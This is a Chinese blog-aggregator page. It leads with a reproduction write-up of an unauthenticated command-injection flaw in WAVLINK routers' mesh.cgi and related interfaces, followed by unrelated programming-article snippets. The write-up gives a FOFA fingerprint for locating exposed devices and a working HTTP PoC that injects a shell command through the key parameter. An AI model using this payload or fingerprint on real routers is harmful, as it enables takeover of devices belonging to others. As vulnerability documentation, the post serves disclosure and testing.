当前位置：首页 > news >正文

wavlink 路由器多处前台RCE漏洞复现

news 2026/2/8 10:16:33

0x01 产品简介

WAVLINK是中国睿因科技（WAVLINK）公司开发的一款路由器。

0x02 漏洞概述

WAVLINK路由器mesh.cgi、nightled.cgi、live-api.cgi等接口处存在命令执行漏洞，攻击者可通过该漏洞获取服务器权限。包含型号WN530HG4、WN531G3、WN572HG3、WN535G3、WN575A4等。

0x03 复现环境

FOFA：icon_hash="-1350437236"

0x04 漏洞复现

PoC-1

POST /cgi-bin/mesh.cgi?page=upgrade&key=';id>./2.txt;' HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 0

验证

GET /cgi-bin/2.t

wavlink 路由器多处前台RCE漏洞复现

0x01 产品简介 WAVLINK是中国睿因科技（WAVLINK）公司开发的一款路由器。 0x02 漏洞概述 WAVLINK路由器mesh.cgi、nightled.cgi、live-api.cgi等接口处存在命令执行漏洞，攻击者可通过该漏洞获取服务器权限。包含型号WN530HG4、WN531G3、WN572HG3、WN535G3、WN575A4等。 0x…...

编程日记 2023/12/21 19:32:40

互联网中的商品超卖问题及其解决方案：Java中Redis结合UUID的应用

前言在设计商品下单和库存扣减，你一定遇到过这样的问题，库存扣减为0了，可是消费者还能下单，并将订单信息保存到了数据库里，针对商品超卖问题，作此篇以解决。随着互联网商业的飞速发展，商品超…...

编程日记 2023/12/21 19:31:39

mysql：查看线程缓存中的线程数量

使用命令show global status like Threads_cached;可以查看线程缓存中的线程数量。例如，查询线程缓存中的线程数量如下： 然后启动应用程序，使用连接，查询如下： 由查询结果可以看到，线程缓存中的线程数量…...

编程日记 2023/12/21 19:29:37

线性表，也是Java中数组的知识点！

线性表定义： 由n (n≥0)个数据特性相同的元素构成的有限序列称为线性表，(n0)的时候被称为空表。线性表的顺序表示线性表的顺序存储又被称为顺序表优点无需为表示表中元素之间的逻辑关系而增加额外的存储空间可以随意读取任意位置的元素缺点插入…...

编程日记 2023/12/21 19:28:36

java使用面向对象实现图书管理系统

꒰˃͈꒵˂͈꒱ write in front ꒰˃͈꒵˂͈꒱ ʕ̯•͡˔•̯᷅ʔ大家好，我是xiaoxie.希望你看完之后,有不足之处请多多谅解，让我们一起共同进步૮₍❀ᴗ͈ . ᴗ͈ აxiaoxieʕ̯•͡˔•̯᷅ʔ—CSDN博客本文由xiaoxieʕ̯•͡˔•̯᷅ʔ 原创 CSDN …...

编程日记 2023/12/21 19:27:35

2023 英特尔On技术创新大会直播 |我感受到的“芯”魅力

文章目录每日一句正能量前言AI时代，云与PC结合为用户带来更好体验全新处理器，首次引入针对人工智能加速的NPU大模型时代，软硬结合带来更好训练成果后记每日一句正能量成长是一条必走的路路上我们伤痛在所难免。前言在2023年的英特尔On技…...

编程日记 2023/12/21 19:24:32

Atium Designer 23 全新功能-丝印制备，解决DFM问题

进行PCB设计时需要养成良好的设计习惯，才能保证后期的生产效果。例如整板上需要保证丝印跟阻焊的间距规则避免产生丝印重叠造成的PCB制造设计（DFM）问题。丝印重叠阻焊的影响有如下： 1）PCB板后期打样，一般是…...

编程日记 2023/12/21 19:20:29

Nginx快速入门：安装目录结构详解及核心配置解读（二）

0. 引言上节我们讲解了nginx的应用场景和安装，本节继续针对nginx的各个目录文件进行讲解，让大家更加深入的认识nginx。并通过一个实操案例，带大家来实际认知nginx的核心配置 1. nginx安装目录结构首先nginx的默认安装目录为：…...

编程日记 2023/12/21 19:19:29

测试TensorFlow/PyTorch的GPU版本是否启用

文章目录 1. Pytorch测试代码2. TensorFlow测试代码后续遇到好的会不断更新。。。 1. Pytorch测试代码 import torch def gpu_is_available():print(\nGPU details:)print(f gpu_is_available : , torch.cuda.is_available())print(f cuda_device_count : , t…...

编程日记 2023/12/21 19:16:26

字符串逆序输出

逆序输出就是本来abc输出的，然后我想让他输出成cba，那么我们还是要用到for循环，只不过原先是从零开始往上加，这回呢，是从上面往下减我们观察上面这个图片，我们想要输出olleh，那么我们就要从4开…...

编程日记 2023/12/21 19:14:24

期货平仓日历(期货平仓日期汇总)

什么是期货平仓日历？ 期货是一种高风险高收益的投资品种。而期货交易不同于股票等其他投资品种的交易，期货交易需要在一定时间内才能买卖。而期货平仓日历就是指期货交易中规定的所有合约的平仓日期汇总。常见期货平仓日期和时间？ 不同的…...

编程日记 2023/12/21 19:13:23

计算机网络-进阶

目录易混淆物理层数据链路层网络层nat如何实现私有ip通信IP数据报格式解析tcp 连接tcp流量控制滑动窗口拥塞控制报文捕获 wireshark路由模拟器 enspcdn代理服务器 VS cdn VS web cache 计算机有了物理地址，为什么还要有ip地址？单播多播广播传输层会…...

编程日记 2023/12/21 19:09:20

LED恒流驱动芯片SM2188EN：满足LED灯具出口欧盟所需的ERP能效认证标准和要求

LED灯具是一种节能环保的照明产品，因其高效节能、长寿命等优点而备受消费者青睐，成为照明市场的主流产品。作为LED灯具出口欧盟市场的必备条件，ERP能效认证标准和要求对LED灯具的能效性能提出了严格的要求。首先，ERP能效认证标准…...

编程日记 2023/12/21 19:08:19

RocketMQ系统性学习-RocketMQ原理分析之消费者的接收消息流程

🌈🌈🌈🌈🌈🌈🌈🌈 【11来了】文章导读地址：点击查看文章导读！ 🍁🍁🍁🍁🍁🍁&#x1f3…...

编程日记 2023/12/21 19:07:17

butterfly蝴蝶分类

一、分类原因由于植物分类所使用的数据集存在一定问题，修改起来比较麻烦，本次采用kaggle的ButterflyMothsImageClassification数据集，对100这种蝴蝶进行分类。二、100中蝴蝶类别 ‘ADONIS’,‘AFRICAN GIANT SWALLOWTAIL’,‘AMERICAN S…...

编程日记 2023/12/21 19:06:16

计算机基础：网络基础

目录一.网线制作 1.制作所需要工具网线制作标准编辑 2.水晶头使用 3.网线钳使用 4.视频教学二.集线器、交换机介绍 1.OSI七层模型 2.TCP/IP四层参考模型 3.集线器、交换机。路由器介绍集线器交换机路由器区别三.路由器的配置 1.路由器设置说明书设…...

编程日记 2023/12/21 19:05:15

[原创][R语言]股票分析实战[3]:周级别涨幅趋势的相关性

[简介] 常用网名: 猪头三出生日期: 1981.XX.XX QQ联系: 643439947 个人网站: 80x86汇编小站 https://www.x86asm.org 编程生涯: 2001年~至今[共22年] 职业生涯: 20年开发语言: C/C、80x86ASM、PHP、Perl、Objective-C、Object Pascal、C#、Python 开发工具: Visual Studio、D…...

编程日记 2023/12/21 19:02:12

MSVC编译 openssl windows 库

开发需要在windows下集成 openssl 库，参考官方指导完成了编译：openssl/NOTES-WINDOWS.md at master openssl/openssl 不过，最后还是走了直接下载的捷径。 1. 安装 ActivePerl 需要在 ActiveState 注册账户，之后彼会提供具体的…...

编程日记 2023/12/21 19:01:11

electron兼容统信UOS系统过程中的坑

这里写目录标题找统信支持人员咨询过，他们说不对electron提供支持，如果需要兼容统信UOS还是建议换个开发技术gbm_bo_map--no-sandboxNo protocol specified任务栏图标总结找统信支持人员咨询过，他们说不对electron提供支持，如果…...

编程日记 2023/12/21 18:59:10

Flink系列之：Apache Kafka SQL 连接器

Flink系列之：Apache Kafka SQL 连接器一、Apache Kafka SQL 连接器二、依赖三、创建Kafka 表四、可用的元数据五、连接器参数六、特性七、Topic 和 Partition 的探测八、起始消费位点九、有界结束位置十、CDC 变更日志（Changelog） Source十一…...

编程日记 2023/12/21 18:57:08

装饰模式（Decorator Pattern）重构java邮件发奖系统实战

前言现在我们有个如下的需求，设计一个邮件发奖的小系统， 需求 1.数据验证 → 2. 敏感信息加密 → 3. 日志记录 → 4. 实际发送邮件装饰器模式（Decorator Pattern）允许向一个现有的对象添加新的功能，同时又不改变其…...

编程新知 2026/2/8 4:37:00

CentOS下的分布式内存计算Spark环境部署

一、Spark 核心架构与应用场景 1.1 分布式计算引擎的核心优势 Spark 是基于内存的分布式计算框架，相比 MapReduce 具有以下核心优势： 内存计算：数据可常驻内存，迭代计算性能提升 10-100 倍（文档段落：3-79…...

编程新知 2026/2/5 1:30:05

React Native在HarmonyOS 5.0阅读类应用开发中的实践

一、技术选型背景随着HarmonyOS 5.0对Web兼容层的增强，React Native作为跨平台框架可通过重新编译ArkTS组件实现85%以上的代码复用率。阅读类应用具有UI复杂度低、数据流清晰的特点。二、核心实现方案 1. 环境配置 （1）使用React Native…...

编程新知 2025/8/19 2:57:37

python爬虫：Newspaper3k 的详细使用（好用的新闻网站文章抓取和解析的Python库）

更多内容请见：爬虫和逆向教程-专栏介绍和目录文章目录一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...

编程新知 2025/10/25 7:51:48

汇编常见指令

汇编常见指令一、数据传送指令指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX（不访问内存）XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...

编程新知 2026/1/23 2:04:44

selenium学习实战【Python爬虫】

selenium学习实战【Python爬虫】文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码五、报告文件爬取5.1 提…...

编程新知 2026/2/4 12:52:32

#Uniapp篇：chrome调试unapp适配

chrome调试设备----使用Android模拟机开发调试移动端页面 Chrome://inspect/#devices MuMu模拟器Edge浏览器：Android原生APP嵌入的H5页面元素定位 chrome://inspect/#devices uniapp单位适配根路径下 postcss.config.js 需要装这些插件 “postcss”: “^8.5.…...

编程新知 2026/1/4 21:36:42

Kafka入门-生产者

生产者生产者发送流程： 延迟时间为0ms时，也就意味着每当有数据就会直接发送异步发送API 异步发送和同步发送的不同在于：异步发送不需要等待结果，同步发送必须等待结果才能进行下一步发送。普通异步发送首先导入所需的k…...

编程新知 2026/1/26 4:49:33

苹果AI眼镜：从“工具”到“社交姿态”的范式革命——重新定义AI交互入口的未来机会

在2025年的AI硬件浪潮中，苹果AI眼镜（Apple Glasses）正在引发一场关于“人机交互形态”的深度思考。它并非简单地替代AirPods或Apple Watch，而是开辟了一个全新的、日常可接受的AI入口。其核心价值不在于功能的堆叠，而在于如何通过形态设计打破社交壁垒，成为用户“全天佩戴…...

编程新知 2025/12/22 12:09:15

elementUI点击浏览table所选行数据查看文档

项目场景： table按照要求特定的数据变成按钮可以点击解决方案： <el-table-columnprop"mlname"label"名称"align"center"width"180"><template slot-scope"scope"><el-buttonv-if&qu…...

编程新知 2026/2/4 18:42:53

0x01 产品简介

0x02 漏洞概述

0x03 复现环境

0x04 漏洞复现

相关文章：